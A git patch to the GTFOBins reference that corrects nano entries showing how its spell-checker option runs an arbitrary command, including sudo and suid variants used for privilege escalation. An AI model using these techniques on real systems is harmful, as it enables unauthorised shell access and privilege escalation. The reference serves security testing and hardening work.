From d665a38758698abf0e5f76d3556ff8735e5dabbd Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Tue, 29 May 2018 20:40:23 +0200 Subject: [PATCH] Fix nano execution functions as they require a file to work on --- _gtfobins/nano.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/_gtfobins/nano.md b/_gtfobins/nano.md index 8bdc14c..bb73fb2 100644 --- a/_gtfobins/nano.md +++ b/_gtfobins/nano.md @@ -7,7 +7,7 @@ functions: TF=$(mktemp) echo "$COMMAND" > $TF chmod +x $TF - nano -s $TF + nano -s $TF /etc/hosts ^T sudo-enabled: - description: After running this exit the editor to see the command output. @@ -16,7 +16,7 @@ functions: TF=$(mktemp) echo "$COMMAND" > $TF chmod +x $TF - sudo nano -s $TF + sudo nano -s $TF /etc/hosts ^T suid-enabled: - description: After running this exit the editor to see the command output. @@ -25,7 +25,7 @@ functions: TF=$(mktemp) echo $'#!/bin/sh -p\n'"$COMMAND" > $TF chmod +x $TF - ./nano -s $TF + ./nano -s $TF /etc/hosts ^T file-read: - code: |